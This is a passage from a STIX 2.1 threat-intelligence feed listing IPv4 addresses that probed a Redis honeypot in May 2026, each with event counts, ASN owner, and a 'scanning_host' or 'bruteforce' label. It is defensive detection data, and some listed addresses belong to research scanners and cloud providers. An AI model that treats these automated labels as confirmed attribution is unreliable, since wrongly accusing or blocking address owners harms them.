      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '140.238.153.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:25:09.000Z",
      "valid_until": "2026-06-20T15:25:08.000Z"
    },
    {
      "created": "2026-05-19T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--dfb7b648-32bd-4dfa-80cf-ca98480f5822",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.28.191.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:25:10.000Z",
      "valid_until": "2026-06-20T22:25:09.000Z"
    },
    {
      "created": "2026-05-20T00:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=RU; asn=214664; asn_org=JSC Buduschee; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.0; redis_cmd_hits=0",
      "id": "indicator--1351e28d-90c1-4d3b-9013-98c90792cd0b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T00:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T00:25:12.000Z",
      "valid_until": "2026-06-21T00:25:09.000Z"
    },
    {
      "created": "2026-05-20T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=23724; asn_org=IDC, China Telecommunications Corporation; redis_cmd_hits=0",
      "id": "indicator--56fc546b-4526-458a-91a9-95e6f86210d5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.181.1.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T03:25:10.000Z",
      "valid_until": "2026-06-21T03:25:09.000Z"
    },
    {
      "created": "2026-05-20T04:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--8196bd27-8ebb-426a-a044-ab1d192ea13b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T04:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T04:25:05.000Z",
      "valid_until": "2026-06-21T04:25:04.000Z"
    },
    {
      "created": "2026-05-20T09:25:24.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--d94dd246-d6f8-486a-b6b7-7f0131dd6977",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T09:25:24.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.233.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:25:24.000Z",
      "valid_until": "2026-06-21T09:25:09.000Z"
    },
    {
      "created": "2026-05-20T09:25:24.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--bfb81fac-7fb0-48b4-a8ed-ef747347acb7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T09:25:24.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.81.14.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T09:25:24.000Z",
      "valid_until": "2026-06-21T09:25:09.000Z"
    },
    {
      "created": "2026-05-20T10:26:22.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--de271026-418d-41be-a159-4964ca5f209d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T10:26:22.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.199.65.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:26:22.000Z",
      "valid_until": "2026-06-21T10:25:04.000Z"
    },
    {
      "created": "2026-05-20T12:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=141679; asn_org=China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch; redis_cmd_hits=0",
      "id": "indicator--23ed022c-4dd5-4519-bd0b-9712f151d8a6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T12:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '117.72.13.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:25:13.000Z",
      "valid_until": "2026-06-21T12:25:09.000Z"
    },
    {
      "created": "2026-05-20T12:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T12:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T12:25:13.000Z",
      "valid_until": "2026-06-21T12:25:09.000Z"
    },
    {
      "created": "2026-05-20T13:25:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=213230; asn_org=Hetzner Online GmbH; redis_cmd_hits=0",
      "id": "indicator--66751c46-6eec-4256-bd33-508e962890c5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T13:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.161.239.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:25:33.000Z",
      "valid_until": "2026-06-21T13:25:04.000Z"
    },
    {
      "created": "2026-05-20T13:25:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--c1ee61ab-158b-4fc0-b5a7-4cac825e903d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T13:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T13:25:33.000Z",
      "valid_until": "2026-06-21T13:25:04.000Z"
    },
    {
      "created": "2026-05-20T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--90f0f14f-3f26-4acd-b0a7-a54ca9f96515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.127.245.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T14:25:12.000Z",
      "valid_until": "2026-06-21T14:25:09.000Z"
    },
    {
      "created": "2026-05-20T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--ed44c9e4-dd97-4429-8d54-b4bc92dffcba",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.103.107.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:25:10.000Z",
      "valid_until": "2026-06-21T18:25:09.000Z"
    },
    {
      "created": "2026-05-20T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--8499b0fa-1787-4b73-8e80-4a94b3687503",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:25:10.000Z",
      "valid_until": "2026-06-21T19:25:09.000Z"
    },
    {
      "created": "2026-05-20T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--63e05af9-773b-4604-b700-84fe65c3b5bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:25:10.000Z",
      "valid_until": "2026-06-21T19:25:09.000Z"
    },
    {
      "created": "2026-05-20T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T22:25:10.000Z",
      "valid_until": "2026-06-21T22:25:09.000Z"
    },
    {
      "created": "2026-05-20T23:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=140061; asn_org=Qinghai Telecom; redis_cmd_hits=0",
      "id": "indicator--6e2649e5-6163-4088-b8b1-d2ebf44c835c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T23:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '220.167.232.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:25:14.000Z",
      "valid_until": "2026-06-21T23:25:09.000Z"
    },
    {
      "created": "2026-05-20T23:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--e02189e8-06fe-4dcb-8563-0f015e916110",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-20T23:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:25:14.000Z",
      "valid_until": "2026-06-21T23:25:09.000Z"
    },
    {
      "created": "2026-05-20T23:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--31950fdd-47c7-4e71-899e-a7ac8c0f035d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T23:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T23:25:14.000Z",
      "valid_until": "2026-06-21T23:25:09.000Z"
    },
    {
      "created": "2026-05-21T01:27:22.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--59ef20c3-0333-4a67-9a48-1f28fbb2c3d7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T01:27:22.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.190.15.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T01:27:22.000Z",
      "valid_until": "2026-06-22T01:25:09.000Z"
    },
    {
      "created": "2026-05-21T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.240.192.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T03:25:10.000Z",
      "valid_until": "2026-06-22T03:25:09.000Z"
    },
    {
      "created": "2026-05-21T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=PT; asn=21859; asn_org=Zenlayer Inc; redis_cmd_hits=0",
      "id": "indicator--6e37b85a-a4d8-4e78-80d3-2f4d8a1e2cb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.105.209.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:25:10.000Z",
      "valid_until": "2026-06-22T04:25:09.000Z"
    },
    {
      "created": "2026-05-21T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=PT; asn=21859; asn_org=Zenlayer Inc; redis_cmd_hits=0",
      "id": "indicator--778360f5-aca0-46d4-9dad-1e2ed94f0368",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.105.209.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:25:10.000Z",
      "valid_until": "2026-06-22T04:25:09.000Z"
    },
    {
      "created": "2026-05-21T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--10a7fd5d-b821-4f1a-8181-a28412f28da5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.105.169.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:25:10.000Z",
      "valid_until": "2026-06-22T04:25:09.000Z"
    },
    {
      "created": "2026-05-21T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Misc activity; redis_cmd_hits=0",
      "id": "indicator--d4225d28-8876-461a-88dd-495a045f11ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.46.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T04:25:10.000Z",
      "valid_until": "2026-06-22T04:25:09.000Z"
    },
    {
      "created": "2026-05-21T07:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=57; ports=6379; cc=TH; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--6854a3cc-5972-4cc4-b858-2cf960b92838",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T07:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.194.251.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T07:25:11.000Z",
      "valid_until": "2026-06-22T07:25:09.000Z"
    },
    {
      "created": "2026-05-21T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=TH; asn=56309; asn_org=Siamdata Communication Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--09122ccd-82a0-40b6-8e68-907bf67ad58e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.253.75.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T09:25:10.000Z",
      "valid_until": "2026-06-22T09:25:09.000Z"
    },
    {
      "created": "2026-05-21T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--e2fd59cd-7d52-460c-8305-b354816000e7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.161.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T10:25:10.000Z",
      "valid_until": "2026-06-22T10:25:09.000Z"
    },
    {
      "created": "2026-05-21T11:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--ab0bf75d-711f-41e2-aa83-a0a57cc9e1c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.7.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:25:29.000Z",
      "valid_until": "2026-06-22T11:25:09.000Z"
    },
    {
      "created": "2026-05-21T11:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--2b756b05-034e-411b-945f-5e8b99e0b194",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T11:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.249.38.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T11:25:29.000Z",
      "valid_until": "2026-06-22T11:25:09.000Z"
    },
    {
      "created": "2026-05-21T12:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--3f876cab-51b4-4990-88a8-045ea93c4fcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T12:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.218.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T12:25:13.000Z",
      "valid_until": "2026-06-22T12:25:09.000Z"
    },
    {
      "created": "2026-05-21T13:25:08.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--6fa41ca1-6429-447f-9525-e11c40f3d58a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T13:25:08.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.164.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T13:25:08.000Z",
      "valid_until": "2026-06-22T13:25:04.000Z"
    },
    {
      "created": "2026-05-21T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FI; asn=198550; asn_org=Node Host Limited; redis_cmd_hits=0",
      "id": "indicator--c6c03ab1-80e8-40f9-a50f-edbdcbae995a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.214.69.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:25:12.000Z",
      "valid_until": "2026-06-22T14:25:10.000Z"
    },
    {
      "created": "2026-05-21T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--57c81971-2456-4b7f-94a5-9971c27db005",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '128.203.203.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:25:12.000Z",
      "valid_until": "2026-06-22T14:25:10.000Z"
    },
    {
      "created": "2026-05-21T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:25:12.000Z",
      "valid_until": "2026-06-22T14:25:10.000Z"
    },
    {
      "created": "2026-05-21T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--794f5f16-9b41-4e54-a5bc-d958b072213b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T14:25:12.000Z",
      "valid_until": "2026-06-22T14:25:10.000Z"
    },
    {
      "created": "2026-05-21T19:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--73df43bc-1019-4584-8a14-1c437af8361a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T19:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '203.32.69.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:25:16.000Z",
      "valid_until": "2026-06-22T19:25:04.000Z"
    },
    {
      "created": "2026-05-21T20:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=17621; asn_org=China Unicom Shanghai network; redis_cmd_hits=0",
      "id": "indicator--319cf0ed-9adb-4c9f-9624-7d2cea07e0e3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-21T20:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.75.241.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:25:11.000Z",
      "valid_until": "2026-06-22T20:25:10.000Z"
    },
    {
      "created": "2026-05-21T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=GB; asn=13213; asn_org=Thg Hosting Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--2d625f2e-35d8-4303-a9d4-820b68c0b794",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.123.111.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:25:10.000Z",
      "valid_until": "2026-06-22T21:25:09.000Z"
    },
    {
